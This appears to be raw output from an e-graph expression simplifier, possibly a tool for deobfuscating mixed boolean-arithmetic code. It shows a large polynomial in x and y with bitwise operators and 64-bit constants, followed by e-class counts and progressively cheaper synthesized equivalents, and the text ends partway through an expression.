((((x&y)*(((y*0xeec0339000000000)*(x&y))+((y*0x227f98e000000000)*(x&(~y)))))+(((((((((y*y)*0xeec0339000000000)*((~y)+(x&y)))+((((x&y)*((((y^x)*0x5a353ef000000000)*(x&y))+(((y^x)*0x4b95822000000000)*(x&(~y)))))+((((((((((y^x)*0xb46a7de000000000)*y)*((~y)+(x&y)))+((((x&y)*((((x*y)*0x874fde6800000000)*(x&y))+(((x*y)*0xf160433000000000)*(x&(~y)))))+((((((((((x*y)*0xe9fbcd000000000)*y)*((~y)+(x&y)))+((((x&y)*((((x|y)*0xb46a7de000000000)*(x&y))+(((x|y)*0x972b044000000000)*(x&(~y)))))+((((((((((x|y)*0x68d4fbc000000000)*y)*((~y)+(x&y)))+(((((y^x)*(y^x))*0x70402d7000000000)+((((x*y)*0x50c0885000000000)*(y^x))+((((x*y)*(x*y))*0xbc90663c00000000)+((((x|y)*0xc100b5c000000000)*(y^x))+((((x|y)*0xa18110a000000000)*(x*y))+((((x|y)*(x|y))*0xc100b5c000000000)+((((((((((y*0x666f84b000000000)*((~y)+(x&y)))+((((y^x)*0xdab01d3000000000)+(((x*y)*0xc8082bc800000000)+(((x|y)*0xb5603a6000000000)+(0xdd3fb3ff21e75952+((((y^x)*((((x*y)*0x3e5f50a000000000)*(y^x))+(((x*y)*(x*y))*0xdd8ef8f000000000)))+((((y^x)*((((x|y)*0xfdd46b8000000000)*(y^x))+(((x|y)*0xf97d428000000000)*(x*y))))+(((((((((((((((x|y)*0xe6b5be4000000004)+0x67c62228de18a6ae)+((x*y)*0xed084eb000000003))+((y^x)*0xf35adf2000000002))+(((x|y)*(x|y))*0x92f441c000000000))+(((x|y)*0xdc6e62a000000000)*(x*y)))+(((x|y)*0x92f441c000000000)*(y^x)))+(((x*y)*(x*y))*0x92a964fc00000000))+(((x*y)*0x6e37315000000000)*(y^x)))+(((y^x)*(y^x))*0x24bd107000000000))+(((x|y)*((x|y)*(x|y)))*0xfd1b3a0000000000))+((((x|y)*(x|y))*0xf97d428000000000)*(x*y)))+((((x|y)*(x|y))*0xfba8d70000000000)*(y^x)))+(((x|y)*0xbb1df1e000000000)*((x*y)*(x*y)))))+(((x*y)*((x*y)*(x*y)))*0xeec77c7800000000)))+(((y^x)*((y^x)*(y^x)))*0x7fa3674000000000))))))+((y*y)*0x3337c25800000000)))+((y*0x99907b5000000000)*(x&y)))+((((~x)^y)*((~x)^y))*0x3337c25800000000))+((((~x)^y)*0x666f84b000000000)*(x&(~y))))+((((~x)^y)*0x99907b5000000000)*(x&y)))+(((x&(~y))*(x&(~y)))*0x3337c25800000000))+(((x&(~y))*0x99907b5000000000)*(x&y)))+(((x&y)*(x&y))*0x3337c25800000000))))))))+(((x|y)*0xb46a7de000000000)*(y*y))))+((((x|y)*0x972b044000000000)*y)*(x&y)))+(((x|y)*0xb46a7de000000000)*(((~x)^y)*((~x)^y))))+((((x|y)*0x68d4fbc000000000)*((~x)^y))*(x&(~y))))+((((x|y)*0x972b044000000000)*((~x)^y))*(x&y)))+(((x|y)*0xb46a7de000000000)*((x&(~y))*(x&(~y))))))+(((x*y)*0x874fde6800000000)*(y*y))))+((((x*y)*0xf160433000000000)*y)*(x&y)))+(((x*y)*0x874fde6800000000)*(((~x)^y)*((~x)^y))))+((((x*y)*0xe9fbcd000000000)*((~x)^y))*(x&(~y))))+((((x*y)*0xf160433000000000)*((~x)^y))*(x&y)))+(((x*y)*0x874fde6800000000)*((x&(~y))*(x&(~y))))))+(((y^x)*0x5a353ef000000000)*(y*y))))+((((y^x)*0x4b95822000000000)*y)*(x&y)))+(((y^x)*0x5a353ef000000000)*(((~x)^y)*((~x)^y))))+((((y^x)*0xb46a7de000000000)*((~x)^y))*(x&(~y))))+((((y^x)*0x4b95822000000000)*((~x)^y))*(x&y)))+(((y^x)*0x5a353ef000000000)*((x&(~y))*(x&(~y))))))+((y*(y*y))*0xfa40113000000000)))+(((y*y)*0x113fcc7000000000)*(x&y)))+((y*0xeec0339000000000)*(((~x)^y)*((~x)^y))))+(((y*0xdd80672000000000)*((~x)^y))*(x&(~y))))+(((y*0x227f98e000000000)*((~x)^y))*(x&y)))+((y*0xeec0339000000000)*((x&(~y))*(x&(~y))))))+((((~x)^y)*(((~x)^y)*((~x)^y)))*0xfa40113000000000))+(((((~x)^y)*((~x)^y))*0xeec0339000000000)*(x&(~y))))+(((((~x)^y)*((~x)^y))*0x113fcc7000000000)*(x&y)))+((((~x)^y)*0xeec0339000000000)*((x&(~y))*(x&(~y))))))+(((x&(~y))*((x&(~y))*(x&(~y))))*0xfa40113000000000)))+(((x&y)*((x&y)*(x&y)))*0x5bfeed000000000))))))))))))+((((x|y)*(x|y))*0xac0b088000000000)*(y*y))))+(((((x|y)*(x|y))*0xa7e9ef0000000000)*y)*(x&y)))+((((x|y)*(x|y))*0xac0b088000000000)*(((~x)^y)*((~x)^y))))+(((((x|y)*(x|y))*0x5816110000000000)*((~x)^y))*(x&(~y))))+(((((x|y)*(x|y))*0xa7e9ef0000000000)*((~x)^y))*(x&y)))+((((x|y)*(x|y))*0xac0b088000000000)*((x&(~y))*(x&(~y))))))+((((x|y)*0x82108cc000000000)*(x*y))*(y*y))))+(((((x|y)*0xfbdee68000000000)*(x*y))*y)*(x&y)))+((((x|y)*0x82108cc000000000)*(x*y))*(((~x)^y)*((~x)^y))))+(((((x|y)*0x421198000000000)*(x*y))*((~x)^y))*(x&(~y))))+(((((x|y)*0xfbdee68000000000)*(x*y))*((~x)^y))*(x&y)))+((((x|y)*0x82108cc000000000)*(x*y))*((x&(~y))*(x&(~y))))))+((((x|y)*0xac0b088000000000)*(y^x))*(y*y))))+(((((x|y)*0xa7e9ef0000000000)*(y^x))*y)*(x&y)))+((((x|y)*0xac0b088000000000)*(y^x))*(((~x)^y)*((~x)^y))))+(((((x|y)*0x5816110000000000)*(y^x))*((~x)^y))*(x&(~y))))+(((((x|y)*0xa7e9ef0000000000)*(y^x))*((~x)^y))*(x&y)))+((((x|y)*0xac0b088000000000)*(y^x))*((x&(~y))*(x&(~y))))))+((((x*y)*(x*y))*0xb0c634c800000000)*(y*y))))+(((((x*y)*(x*y))*0x9e73967000000000)*y)*(x&y)))+((((x*y)*(x*y))*0xb0c634c800000000)*(((~x)^y)*((~x)^y))))+(((((x*y)*(x*y))*0x618c699000000000)*((~x)^y))*(x&(~y))))+(((((x*y)*(x*y))*0x9e73967000000000)*((~x)^y))*(x&y)))+((((x*y)*(x*y))*0xb0c634c800000000)*((x&(~y))*(x&(~y))))))+((((x*y)*0x4108466000000000)*(y^x))*(y*y))))+(((((x*y)*0x7def734000000000)*(y^x))*y)*(x&y)))+((((x*y)*0x4108466000000000)*(y^x))*(((~x)^y)*((~x)^y))))+(((((x*y)*0x82108cc000000000)*(y^x))*((~x)^y))*(x&(~y))))+(((((x*y)*0x7def734000000000)*(y^x))*((~x)^y))*(x&y)))+((((x*y)*0x4108466000000000)*(y^x))*((x&(~y))*(x&(~y))))))+((((y^x)*(y^x))*0x6b02c22000000000)*(y*y))))+(((((y^x)*(y^x))*0x29fa7bc000000000)*y)*(x&y)))+((((y^x)*(y^x))*0x6b02c22000000000)*(((~x)^y)*((~x)^y))))+(((((y^x)*(y^x))*0xd605844000000000)*((~x)^y))*(x&(~y))))+(((((y^x)*(y^x))*0x29fa7bc000000000)*((~x)^y))*(x&y)))+((((y^x)*(y^x))*0x6b02c22000000000)*((x&(~y))*(x&(~y))))))+(((x|y)*0x5080768000000000)*(y*(y*y)))))+((((x|y)*0xe7e9c8000000000)*(y*y))*(x&y)))+((((x|y)*0xf181638000000000)*y)*(((~x)^y)*((~x)^y))))+(((((x|y)*0xe302c70000000000)*y)*((~x)^y))*(x&(~y))))+(((((x|y)*0x1cfd390000000000)*y)*((~x)^y))*(x&y)))+((((x|y)*0xf181638000000000)*y)*((x&(~y))*(x&(~y))))))+(((x|y)*0x5080768000000000)*(((~x)^y)*(((~x)^y)*((~x)^y)))))+((((x|y)*0xf181638000000000)*(((~x)^y)*((~x)^y)))*(x&(~y))))+((((x|y)*0xe7e9c8000000000)*(((~x)^y)*((~x)^y)))*(x&y)))+((((x|y)*0xf181638000000000)*((~x)^y))*((x&(~y))*(x&(~y))))))+(((x|y)*0x5080768000000000)*((x&(~y))*((x&(~y))*(x&(~y))))))+((((x|y)*0xe7e9c8000000000)*((x&(~y))*(x&(~y))))*(x&y))))+(((x*y)*0x3c6058e000000000)*(y*(y*y)))))+((((x*y)*0x4adef56000000000)*(y*y))*(x&y)))+((((x*y)*0xb5210aa000000000)*y)*(((~x)^y)*((~x)^y))))+(((((x*y)*0x6a42154000000000)*y)*((~x)^y))*(x&(~y))))+(((((x*y)*0x95bdeac000000000)*y)*((~x)^y))*(x&y)))+((((x*y)*0xb5210aa000000000)*y)*((x&(~y))*(x&(~y))))))+(((x*y)*0x3c6058e000000000)*(((~x)^y)*(((~x)^y)*((~x)^y)))))+((((x*y)*0xb5210aa000000000)*(((~x)^y)*((~x)^y)))*(x&(~y))))+((((x*y)*0x4adef56000000000)*(((~x)^y)*((~x)^y)))*(x&y)))+((((x*y)*0xb5210aa000000000)*((~x)^y))*((x&(~y))*(x&(~y))))))+(((x*y)*0x3c6058e000000000)*((x&(~y))*((x&(~y))*(x&(~y))))))+((((x*y)*0x4adef56000000000)*((x&(~y))*(x&(~y))))*(x&y))))+(((y^x)*0x28403b4000000000)*(y*(y*y)))))+((((y^x)*0x873f4e4000000000)*(y*y))*(x&y)))+((((y^x)*0x78c0b1c000000000)*y)*(((~x)^y)*((~x)^y))))+(((((y^x)*0xf181638000000000)*y)*((~x)^y))*(x&(~y))))+(((((y^x)*0xe7e9c8000000000)*y)*((~x)^y))*(x&y)))+((((y^x)*0x78c0b1c000000000)*y)*((x&(~y))*(x&(~y))))))+(((y^x)*0x28403b4000000000)*(((~x)^y)*(((~x)^y)*((~x)^y)))))+((((y^x)*0x78c0b1c000000000)*(((~x)^y)*((~x)^y)))*(x&(~y))))+((((y^x)*0x873f4e4000000000)*(((~x)^y)*((~x)^y)))*(x&y)))+((((y^x)*0x78c0b1c000000000)*((~x)^y))*((x&(~y))*(x&(~y))))))+(((y^x)*0x28403b4000000000)*((x&(~y))*((x&(~y))*(x&(~y))))))+((((y^x)*0x873f4e4000000000)*((x&(~y))*(x&(~y))))*(x&y))))+((y*(y*(y*y)))*0x820278b000000000)))+(((y*(y*y))*0xf7f61d4000000000)*(x&y)))+(((y*y)*0xc0ed42000000000)*(((~x)^y)*((~x)^y))))+((((y*y)*0x181da84000000000)*((~x)^y))*(x&(~y))))+((((y*y)*0xe7e257c000000000)*((~x)^y))*(x&y)))+(((y*y)*0xc0ed42000000000)*((x&(~y))*(x&(~y))))))+((y*0x809e2c000000000)*(((~x)^y)*(((~x)^y)*((~x)^y)))))+(((y*0x181da84000000000)*(((~x)^y)*((~x)^y)))*(x&(~y))))+(((y*0xe7e257c000000000)*(((~x)^y)*((~x)^y)))*(x&y)))+(((y*0x181da84000000000)*((~x)^y))*((x&(~y))*(x&(~y))))))+((y*0x809e2c000000000)*((x&(~y))*((x&(~y))*(x&(~y))))))+(((y*0xe7e257c000000000)*((x&(~y))*(x&(~y))))*(x&y))))+((((~x)^y)*(((~x)^y)*(((~x)^y)*((~x)^y))))*0x820278b000000000))+(((((~x)^y)*(((~x)^y)*((~x)^y)))*0x809e2c000000000)*(x&(~y))))+(((((~x)^y)*(((~x)^y)*((~x)^y)))*0xf7f61d4000000000)*(x&y)))+(((((~x)^y)*((~x)^y))*0xc0ed42000000000)*((x&(~y))*(x&(~y))))))+((((~x)^y)*0x809e2c000000000)*((x&(~y))*((x&(~y))*(x&(~y))))))+(((((~x)^y)*0xe7e257c000000000)*((x&(~y))*(x&(~y))))*(x&y))))+(((x&(~y))*((x&(~y))*((x&(~y))*(x&(~y)))))*0x820278b000000000))+((((x&(~y))*((x&(~y))*(x&(~y))))*0xf7f61d4000000000)*(x&y))))+(((x&y)*((x&y)*((x&y)*(x&y))))*0x820278b000000000))
====================================================================================================
eclasses #: 32490
Synthesized (cost = 3052): ((((x&y)*(x&y))*((0x820278b000000000*((x&y)*(x&y)))+((((x&(~y))*0xf7f61d4000000000)*(x&y))+(((x&(~y))*(x&(~y)))*0xc0ed42000000000))))+((((x&(~y))*((x&(~y))*(x&(~y))))*(((x&y)*0xf7f61d4000000000)+(0x820278b000000000*(x&(~y)))))+((((x&y)*(x&y))*(((((~x)^y)*0xf7f61d4000000000)*(x&y))+((((~x)^y)*0x181da84000000000)*(x&(~y)))))+((((x&(~y))*(x&(~y)))*(((x&y)*(((~x)^y)*0xe7e257c000000000))+((((~x)^y)*0x809e2c000000000)*(x&(~y)))))+((((((~x)^y)*((~x)^y))*0xc0ed42000000000)*(((x&y)*(x&y))+((x&(~y))*(x&(~y)))))+(((x&y)*((((((~x)^y)*((~x)^y))*0xe7e257c000000000)*(x&(~y)))+((((~x)^y)*(((~x)^y)*((~x)^y)))*0xf7f61d4000000000)))+(((((~x)^y)*(((~x)^y)*((~x)^y)))*(((x&(~y))*0x809e2c000000000)+(0x820278b000000000*((~x)^y))))+((((x&y)*(x&y))*(((y*0xf7f61d4000000000)*(x&y))+((y*0x181da84000000000)*(x&(~y)))))+((((x&(~y))*(x&(~y)))*(((x&y)*(y*0xe7e257c000000000))+((y*0x809e2c000000000)*(x&(~y)))))+(((x&y)*((((y*0x181da84000000000)*((~x)^y))*(x&y))+(((y*0xcfc4af8000000000)*((~x)^y))*(x&(~y)))))+(((((y*0x181da84000000000)*((~x)^y))*(x&(~y)))*((~y)+(x&y)))+(((((~x)^y)*((~x)^y))*(((x&y)*(y*0xe7e257c000000000))+((y*0x809e2c000000000)*((~x)^y))))+((((y*y)*0xc0ed42000000000)*(((x&y)*(x&y))+((x&(~y))*(x&(~y)))))+((((y*y)*0xe7e257c000000000)*((x&y)*((~y)+(x&y))))+((((~x)^y)*(((x&(~y))*((y*y)*0x181da84000000000))+(((y*y)*0xc0ed42000000000)*((~x)^y))))+(((y*(y*y))*(((x&y)*0xf7f61d4000000000)+((x&(~y))*0x809e2c000000000)))+(((y*(y*y))*((((~x)^y)*0x809e2c000000000)+(0x820278b000000000*y)))+((((x&y)*(x&y))*((((y^x)*0xd7bfc4c000000000)*(x&y))+(((y^x)*0x78c0b1c000000000)*(x&(~y)))))+((((x&(~y))*(x&(~y)))*(((x&y)*((y^x)*0x873f4e4000000000))+(((y^x)*0x28403b4000000000)*(x&(~y)))))+(((x&y)*(((((y^x)*0x78c0b1c000000000)*((~x)^y))*(x&y))+((((y^x)*0xe7e9c8000000000)*((~x)^y))*(x&(~y)))))+((((((y^x)*0x78c0b1c000000000)*((~x)^y))*(x&(~y)))*((~y)+(x&y)))+(((((~x)^y)*((~x)^y))*(((x&y)*((y^x)*0x873f4e4000000000))+(((y^x)*0x28403b4000000000)*((~x)^y))))+(((((y^x)*0x78c0b1c000000000)*y)*(((x&y)*(x&y))+((x&(~y))*(x&(~y)))))+(((((y^x)*0xe7e9c8000000000)*y)*((x&y)*((~y)+(x&y))))+((((~x)^y)*(((x&(~y))*(((y^x)*0xf181638000000000)*y))+((((y^x)*0x78c0b1c000000000)*y)*((~x)^y))))+((((((y^x)*0x78c0b1c000000000)*(y*y))*((~y)+(x&y)))+(((((x&y)*(x&y))*((((x*y)*0xc39fa72000000000)*(x&y))+(((x*y)*0xb5210aa000000000)*(x&(~y)))))+((((x&(~y))*(x&(~y)))*(((x&y)*((x*y)*0x4adef56000000000))+(((x*y)*0x3c6058e000000000)*(x&(~y)))))+(((x&y)*(((((x*y)*0xb5210aa000000000)*((~x)^y))*(x&y))+((((x*y)*0x95bdeac000000000)*((~x)^y))*(x&(~y)))))+((((((x*y)*0xb5210aa000000000)*((~x)^y))*(x&(~y)))*((~y)+(x&y)))+(((((~x)^y)*((~x)^y))*(((x&y)*((x*y)*0x4adef56000000000))+(((x*y)*0x3c6058e000000000)*((~x)^y))))+(((((x*y)*0xb5210aa000000000)*y)*(((x&y)*(x&y))+((x&(~y))*(x&(~y)))))+(((((x*y)*0x95bdeac000000000)*y)*((x&y)*((~y)+(x&y))))+((((~x)^y)*(((x&(~y))*(((x*y)*0x6a42154000000000)*y))+((((x*y)*0xb5210aa000000000)*y)*((~x)^y))))+((((((x*y)*0xb5210aa000000000)*(y*y))*((~y)+(x&y)))+(((((x&y)*(x&y))*((((x|y)*0xaf7f898000000000)*(x&y))+(((x|y)*0xf181638000000000)*(x&(~y)))))+((((x&(~y))*(x&(~y)))*(((x&y)*((x|y)*0xe7e9c8000000000))+(((x|y)*0x5080768000000000)*(x&(~y)))))+(((x&y)*(((((x|y)*0xf181638000000000)*((~x)^y))*(x&y))+((((x|y)*0x1cfd390000000000)*((~x)^y))*(x&(~y)))))+((((((x|y)*0xf181638000000000)*((~x)^y))*(x&(~y)))*((~y)+(x&y)))+(((((~x)^y)*((~x)^y))*(((x&y)*((x|y)*0xe7e9c8000000000))+(((x|y)*0x5080768000000000)*((~x)^y))))+(((((x|y)*0xf181638000000000)*y)*(((x&y)*(x&y))+((x&(~y))*(x&(~y)))))+(((((x|y)*0x1cfd390000000000)*y)*((x&y)*((~y)+(x&y))))+((((~x)^y)*(((x&(~y))*(((x|y)*0xe302c70000000000)*y))+((((x|y)*0xf181638000000000)*y)*((~x)^y))))+((((((x|y)*0xf181638000000000)*(y*y))*((~y)+(x&y)))+((((((y^x)*(y^x))*0x6b02c22000000000)*(((x&y)*(x&y))+((x&(~y))*(x&(~y)))))+(((((y^x)*(y^x))*0x29fa7bc000000000)*((x&y)*((~y)+(x&y))))+((((~x)^y)*(((x&(~y))*(((y^x)*(y^x))*0xd605844000000000))+((((y^x)*(y^x))*0x6b02c22000000000)*((~x)^y))))+(((((((y^x)*(y^x))*0xd605844000000000)*y)*((~y)+(x&y)))+((((((x*y)*0x4108466000000000)*(y^x))*(((x&y)*(x&y))+((x&(~y))*(x&(~y)))))+(((((x*y)*0x7def734000000000)*(y^x))*((x&y)*((~y)+(x&y))))+((((~x)^y)*(((x&(~y))*(((x*y)*0x82108cc000000000)*(y^x)))+((((x*y)*0x4108466000000000)*(y^x))*((~x)^y))))+(((((((x*y)*0x82108cc000000000)*(y^x))*y)*((~y)+(x&y)))+((((((x*y)*(x*y))*0xb0c634c800000000)*(((x&y)*(x&y))+((x&(~y))*(x&(~y)))))+(((((x*y)*(x*y))*0x9e73967000000000)*((x&y)*((~y)+(x&y))))+((((~x)^y)*(((x&(~y))*(((x*y)*(x*y))*0x618c699000000000))+((((x*y)*(x*y))*0xb0c634c800000000)*((~x)^y))))+(((((((x*y)*(x*y))*0x618c699000000000)*y)*((~y)+(x&y)))+((((((x|y)*0xac0b088000000000)*(y^x))*(((x&y)*(x&y))+((x&(~y))*(x&(~y)))))+(((((x|y)*0xa7e9ef0000000000)*(y^x))*((x&y)*((~y)+(x&y))))+((((~x)^y)*(((x&(~y))*(((x|y)*0x5816110000000000)*(y^x)))+((((x|y)*0xac0b088000000000)*(y^x))*((~x)^y))))+(((((((x|y)*0x5816110000000000)*(y^x))*y)*((~y)+(x&y)))+((((((x|y)*0x82108cc000000000)*(x*y))*(((x&y)*(x&y))+((x&(~y))*(x&(~y)))))+(((((x|y)*0xfbdee68000000000)*(x*y))*((x&y)*((~y)+(x&y))))+((((~x)^y)*(((x&(~y))*(((x|y)*0x421198000000000)*(x*y)))+((((x|y)*0x82108cc000000000)*(x*y))*((~x)^y))))+(((((((x|y)*0x421198000000000)*(x*y))*y)*((~y)+(x&y)))+((((((x|y)*(x|y))*0xac0b088000000000)*(((x&y)*(x&y))+((x&(~y))*(x&(~y)))))+(((((x|y)*(x|y))*0xa7e9ef0000000000)*((x&y)*((~y)+(x&y))))+((((~x)^y)*(((x&(~y))*(((x|y)*(x|y))*0x5816110000000000))+((((x|y)*(x|y))*0xac0b088000000000)*((~x)^y))))+(((((((x|y)*(x|y))*0x5816110000000000)*y)*((~y)+(x&y)))+(((((y^x)*((y^x)*(y^x)))*0x805c98c000000000)+((((x*y)*0xc1a0af6000000000)*((y^x)*(y^x)))+(((((x*y)*(x*y))*0x2271071000000000)*(y^x))+((((x*y)*((x*y)*(x*y)))*0x1138838800000000)+((((x|y)*0x22b948000000000)*((y^x)*(y^x)))+(((((x|y)*0x682bd8000000000)*(x*y))*(y^x))+((((x|y)*0x44e20e2000000000)*((x*y)*(x*y)))+(((((x|y)*(x|y))*0x457290000000000)*(y^x))+(((((x|y)*(x|y))*0x682bd8000000000)*(x*y))+((((x|y)*((x|y)*(x|y)))*0x2e4c60000000000)+((((x&y)*(x&y))*((0x5bfeed000000000*(x&y))+((x&(~y))*0xeec0339000000000)))+((((x&(~y))*(x&(~y)))*(((x&y)*0x113fcc7000000000)+(0xfa40113000000000*(x&(~y)))))+(((x&y)*(((((~x)^y)*0xeec0339000000000)*(x&y))+((((~x)^y)*0x227f98e000000000)*(x&(~y)))))+((((((~x)^y)*0xeec0339000000000)*(x&(~y)))*((~y)+(x&y)))+(((((~x)^y)*((~x)^y))*(((x&y)*0x113fcc7000000000)+(0xfa40113000000000*((~x)^y))))+(((y*0xeec0339000000000)*(((x&y)*(x&y))+((x&(~y))*(x&(~y)))))+(((y*0x227f98e000000000)*((x&y)*((~y)+(x&y))))+((((~x)^y)*(((x&(~y))*(y*0xdd80672000000000))+((y*0xeec0339000000000)*((~x)^y))))+((((y*y)*0x113fcc7000000000)*(y-(y^x)))+(((y*y)*((((~x)^y)*0xeec0339000000000)+(0xfa40113000000000*y)))+((((y^x)*0x5a353ef000000000)*(((x&y)*(x&y))+((x&(~y))*(x&(~y)))))+((((y^x)*0x4b95822000000000)*((x&y)*((~y)+(x&y))))+((((~x)^y)*(((x&(~y))*((y^x)*0xb46a7de000000000))+(((y^x)*0x5a353ef000000000)*((~x)^y))))+((((((y^x)*0xb46a7de000000000)*y)*((~y)+(x&y)))+(((((x*y)*0x874fde6800000000)*(((x&y)*(x&y))+((x&(~y))*(x&(~y)))))+((((x*y)*0xf160433000000000)*((x&y)*((~y)+(x&y))))+((((~x)^y)*(((x&(~y))*((x*y)*0xe9fbcd000000000))+(((x*y)*0x874fde6800000000)*((~x)^y))))+((((((x*y)*0xe9fbcd000000000)*y)*((~y)+(x&y)))+(((((x|y)*0xb46a7de000000000)*(((x&y)*(x&y))+((x&(~y))*(x&(~y)))))+((((x|y)*0x972b044000000000)*((x&y)*((~y)+(x&y))))+((((~x)^y)*(((x&(~y))*((x|y)*0x68d4fbc000000000))+(((x|y)*0xb46a7de000000000)*((~x)^y))))+((((((x|y)*0x68d4fbc000000000)*y)*((~y)+(x&y)))+(((((y^x)*(y^x))*0x70402d7000000000)+((((x*y)*0x50c0885000000000)*(y^x))+((((x*y)*(x*y))*0xbc90663c00000000)+((((x|y)*0xc100b5c000000000)*(y^x))+((((x|y)*0xa18110a000000000)*(x*y))+((((x|y)*(x|y))*0xc100b5c000000000)+((0x3337c25800000000*(((x&y)*(x&y))+((x&(~y))*(x&(~y)))))+((0x99907b5000000000*((x&y)*((~y)+(x&y))))+((((~x)^y)*(((x&(~y))*0x666f84b000000000)+(0x3337c25800000000*((~x)^y))))+((((y*0x666f84b000000000)*((~y)+(x&y)))+((((y^x)*0xdab01d3000000000)+(((x*y)*0xc8082bc800000000)+(((x|y)*0xb5603a6000000000)+(0xdd3fb3ff21e75952+((((y^x)*(y^x))*((0x7fa3674000000000*(y^x))+((x*y)*0x3e5f50a000000000)))+((((x*y)*(x*y))*(((y^x)*0xdd8ef8f000000000)+(0xeec77c7800000000*(x*y))))+(((y^x)*((((x|y)*0xfdd46b8000000000)*(y^x))+(((x|y)*0xf97d428000000000)*(x*y))))+(((x*y)*((((x|y)*0xbb1df1e000000000)*(x*y))+(((x|y)*(x|y))*0xf97d428000000000)))+((((x|y)*(x|y))*(((y^x)*0xfba8d70000000000)+(0xfd1b3a0000000000*(x|y))))+(((y^x)*((0x24bd107000000000*(y^x))+((x*y)*0x6e37315000000000)))+(((x*y)*((0x92a964fc00000000*(x*y))+((x|y)*0xdc6e62a000000000)))+((((x|y)*0x92f441c000000000)*((y^x)+(x|y)))+(((((x|y)*0xe6b5be4000000004)+0x67c62228de18a6ae)+((x*y)*0xed084eb000000003))+((y^x)*0xf35adf2000000002))))))))))))))+((y*y)*0x3337c25800000000)))+((y*0x99907b5000000000)*(x&y))))))))))))+(((x|y)*0xb46a7de000000000)*(y*y))))+((((x|y)*0x972b044000000000)*y)*(x&y))))))+(((x*y)*0x874fde6800000000)*(y*y))))+((((x*y)*0xf160433000000000)*y)*(x&y))))))+(((y^x)*0x5a353ef000000000)*(y*y))))+((((y^x)*0x4b95822000000000)*y)*(x&y))))))))))))))))))))))))))+((((x|y)*(x|y))*0xac0b088000000000)*(y*y))))+(((((x|y)*(x|y))*0xa7e9ef0000000000)*y)*(x&y))))))+((((x|y)*0x82108cc000000000)*(x*y))*(y*y))))+(((((x|y)*0xfbdee68000000000)*(x*y))*y)*(x&y))))))+((((x|y)*0xac0b088000000000)*(y^x))*(y*y))))+(((((x|y)*0xa7e9ef0000000000)*(y^x))*y)*(x&y))))))+((((x*y)*(x*y))*0xb0c634c800000000)*(y*y))))+(((((x*y)*(x*y))*0x9e73967000000000)*y)*(x&y))))))+((((x*y)*0x4108466000000000)*(y^x))*(y*y))))+(((((x*y)*0x7def734000000000)*(y^x))*y)*(x&y))))))+((((y^x)*(y^x))*0x6b02c22000000000)*(y*y))))+(((((y^x)*(y^x))*0x29fa7bc000000000)*y)*(x&y))))))+(((x|y)*0x5080768000000000)*(y*(y*y)))))+((((x|y)*0xe7e9c8000000000)*(y*y))*(x&y)))))))))))+(((x*y)*0x3c6058e000000000)*(y*(y*y)))))+((((x*y)*0x4adef56000000000)*(y*y))*(x&y)))))))))))+(((y^x)*0x28403b4000000000)*(y*(y*y)))))+((((y^x)*0x873f4e4000000000)*(y*y))*(x&y))))))))))))))))))))))))))))
====================================================================================================
eclasses #: 352031
Synthesized (cost = 1229): (((x&y)*((0x820278b000000000*((x&y)*((x&y)*(x&y))))+(((x&(~y))*(x&(~y)))*(((x&y)*0xc0ed42000000000)+((x&(~y))*0xf7f61d4000000000)))))+(((((x&y)*((x&y)*(x&y)))*0xf7f61d4000000000)*(~((~x)&y)))+(((((x&(~y))*((x&(~y))*(x&(~y))))*((0x820278b000000000*(x&(~y)))+(((~x)^y)*0x809e2c000000000)))+((x&y)*(((((~x)^y)*0x181da84000000000)*(x&(~y)))*(y-(y^x)))))+(((((~x)^y)*((~x)^y))*((0xc0ed42000000000*(((x&y)*(x&y))+((x&(~y))*(x&(~y)))))+(((x&y)*(x&(~y)))*0xe7e257c000000000)))+(((((~x)^y)*(((~x)^y)*((~x)^y)))*((((x&y)*0xf7f61d4000000000)+((x&(~y))*0x809e2c000000000))+(0x820278b000000000*((~x)^y))))+((((x&y)*(x&y))*((y*(((x&y)*0xf7f61d4000000000)+((x&(~y))*0x181da84000000000)))+((y*0x181da84000000000)*((~x)^y))))+(((x&(~y))*(((x&(~y))*(y*(((x&y)*0xe7e257c000000000)+((x&(~y))*0x809e2c000000000))))+(((~x)^y)*(((x&y)*(y*0xcfc4af8000000000))+((y*0x181da84000000000)*(x&(~y)))))))+(((((~x)^y)*((~x)^y))*((0x181da84000000000*((x*y)-(0x2*((x&y)*y))))+((y*0x809e2c000000000)*((~x)^y))))+((((x&y)*((((y*y)*0xc0ed42000000000)*(x&y))+(((y*y)*0xe7e257c000000000)*(~((~x)&y)))))+(((x&(~y))*(y*y))*((0xc0ed42000000000*(x&(~y)))+(((~x)^y)*0x181da84000000000))))+((((y*y)*(((((~x)^y)*((~x)^y))*0xc0ed42000000000)+(0x820278b000000000*(y*y))))+((((x&y)*(x&y))*(((y^x)*(((x&y)*0xd7bfc4c000000000)+((x&(~y))*0x78c0b1c000000000)))+(((y^x)*0x78c0b1c000000000)*((~x)^y))))+(((x&(~y))*(((x&(~y))*((y^x)*(((x&y)*0x873f4e4000000000)+((x&(~y))*0x28403b4000000000))))+(((~x)^y)*(((x&y)*((y^x)*0xe7e9c8000000000))+(((y^x)*0x78c0b1c000000000)*(x&(~y)))))))+(((((~x)^y)*((~x)^y))*((0x78c0b1c000000000*((y^x)*((y^x)-y)))+(((y^x)*0x28403b4000000000)*((~x)^y))))+(((~y)*(((y^x)*0x873f4e4000000000)*y))+(((((x&y)*(x&y))*(((x*y)*(((x&y)*0xc39fa72000000000)+((x&(~y))*0xb5210aa000000000)))+(((x*y)*0xb5210aa000000000)*((~x)^y))))+(((x&(~y))*(((x&(~y))*((x*y)*(((x&y)*0x4adef56000000000)+((x&(~y))*0x3c6058e000000000))))+(((~x)^y)*(((x&y)*((x*y)*0x95bdeac000000000))+(((x*y)*0xb5210aa000000000)*(x&(~y)))))))+(((((~x)^y)*((~x)^y))*((0x4adef56000000000*((x*y)*(y-(y^x))))+(((x*y)*0x3c6058e000000000)*((~x)^y))))+(((~y)*(((x*y)*0x4adef56000000000)*y))+(((((x&y)*(x&y))*(((x|y)*(((x&y)*0xaf7f898000000000)+((x&(~y))*0xf181638000000000)))+(((x|y)*0xf181638000000000)*((~x)^y))))+(((x&(~y))*(((x&(~y))*((x|y)*(((x&y)*0xe7e9c8000000000)+((x&(~y))*0x5080768000000000))))+(((~x)^y)*(((x&y)*((x|y)*0x1cfd390000000000))+(((x|y)*0xf181638000000000)*(x&(~y)))))))+(((((~x)^y)*((~x)^y))*((0xe7e9c8000000000*((x|y)*(y-(y^x))))+(((x|y)*0x5080768000000000)*((~x)^y))))+(((~y)*(((x|y)*0xe7e9c8000000000)*y))+(((((y^x)*(y^x))*0x6b02c22000000000)+((((x*y)*0x4108466000000000)*(y^x))+((((x*y)*(x*y))*0xb0c634c800000000)